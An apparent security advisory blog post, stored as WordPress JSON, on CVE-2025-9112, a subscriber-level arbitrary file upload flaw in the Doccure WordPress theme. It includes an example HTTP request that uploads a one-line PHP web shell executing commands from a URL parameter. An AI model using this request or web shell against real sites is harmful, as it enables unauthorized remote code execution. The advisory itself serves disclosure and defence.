{"id":74635,"date":"2025-09-13T17:03:51","date_gmt":"2025-09-13T17:03:51","guid":{"rendered":""},"modified":"2025-09-27T08:15:05","modified_gmt":"2025-09-27T14:15:05","slug":"cve-2025-9112-arbitrary-file-upload-vulnerability-in-doccure-wordpress-theme","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-9112-arbitrary-file-upload-vulnerability-in-doccure-wordpress-theme\/","title":{"rendered":"<strong>CVE-2025-9112: Arbitrary File Upload Vulnerability in Doccure WordPress Theme<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The Doccure theme for WordPress, a popular theme used by numerous websites globally, contains a serious vulnerability that could potentially compromise the integrity and confidentiality of the affected systems. This vulnerability, known as CVE-2025-9112, involves a flawed file type validation in the &#8216;doccure_temp_file_uploader&#8217; function. This flaw allows an attacker with merely subscriber-level permissions to upload arbitrary files onto the server, predisposing the system to possible remote <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-50692-critical-code-execution-vulnerability-in-foxcms-v1-2-5\/\"  data-wpil-monitor-id=\"82169\">code execution<\/a>. Given the widespread use of WordPress and the Doccure theme, this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-54887-significant-security-vulnerability-in-jwe-ruby-encryption-implementation\/\"  data-wpil-monitor-id=\"82671\">vulnerability could affect a significant<\/a> number of websites, posing substantial risk to the data and system security.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-9112<br \/>\nSeverity: High (8.8 CVSS)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: Low (Subscriber-level permissions)<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2022-45134-critical-vulnerability-in-mahara-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"82976\">Potential system<\/a> compromise and data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-2788023\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>Doccure <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-8592-wordpress-inspiro-theme-vulnerability-to-cross-site-request-forgery-csrf\/\"  data-wpil-monitor-id=\"85371\">WordPress Theme<\/a> | All versions up to, and including, 1.4.8<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The &#8216;doccure_temp_file_uploader&#8217; function within the Doccure theme for <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-8142-local-file-inclusion-vulnerability-in-soledad-wordpress-theme\/\"  data-wpil-monitor-id=\"82221\">WordPress doesn&#8217;t correctly validate file<\/a> types during the upload process. An authenticated attacker with subscriber-level permissions could leverage this flaw to upload arbitrary files, including <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49036-php-remote-file-inclusion-vulnerability-in-premium-addons-for-kingcomposer\/\"  data-wpil-monitor-id=\"82183\">PHP files<\/a> or other types that could be executed on the server. Since the server hosts these malicious files, it becomes feasible for the attacker to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-27128-arbitrary-code-execution-vulnerability-in-openharmony-v5-0-3\/\"  data-wpil-monitor-id=\"82201\">execute remote code<\/a>, which could lead to system compromise and data leakage.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-2519819444\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Below is a conceptual HTTP <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49381-critical-cross-site-request-forgery-vulnerability-in-ads-txt-guru\/\"  data-wpil-monitor-id=\"82389\">request demonstrating how the vulnerability<\/a> might be exploited:<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/wp-admin\/admin-ajax.php?action=doccure_upload_temp_file HTTP\/1.1\nHost: vulnerablewebsite.com\nContent-Type: multipart\/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW\n------WebKitFormBoundary7MA4YWxkTrZu0gW\nContent-Disposition: form-data; name=&quot;file&quot;; filename=&quot;exploit.php&quot;\nContent-Type: application\/x-php\n&lt;?php system($_GET[&#039;cmd&#039;]); ?&gt;\n------WebKitFormBoundary7MA4YWxkTrZu0gW--<\/code><\/pre>\n<p>This example illustrates the upload of a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-25172-php-remote-file-inclusion-vulnerability-in-vidmov-by-beeteam368\/\"  data-wpil-monitor-id=\"82256\">PHP file<\/a> &#8216;exploit.php&#8217;, which could later be executed by navigating to its location on the server.<br \/>\nThe current mitigation strategy is to apply the vendor patch or use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary measure. It is crucial that <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5821-critical-authentication-bypass-vulnerability-in-case-theme-user-plugin-for-wordpress\/\"  data-wpil-monitor-id=\"83298\">users update their Doccure WordPress theme<\/a> to the latest version to protect their systems from potential exploitation.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The Doccure theme for WordPress, a popular theme used by numerous websites globally, contains a serious vulnerability that could potentially compromise the integrity and confidentiality of the affected systems. This vulnerability, known as CVE-2025-9112, involves a flawed file type validation in the &#8216;doccure_temp_file_uploader&#8217; function. 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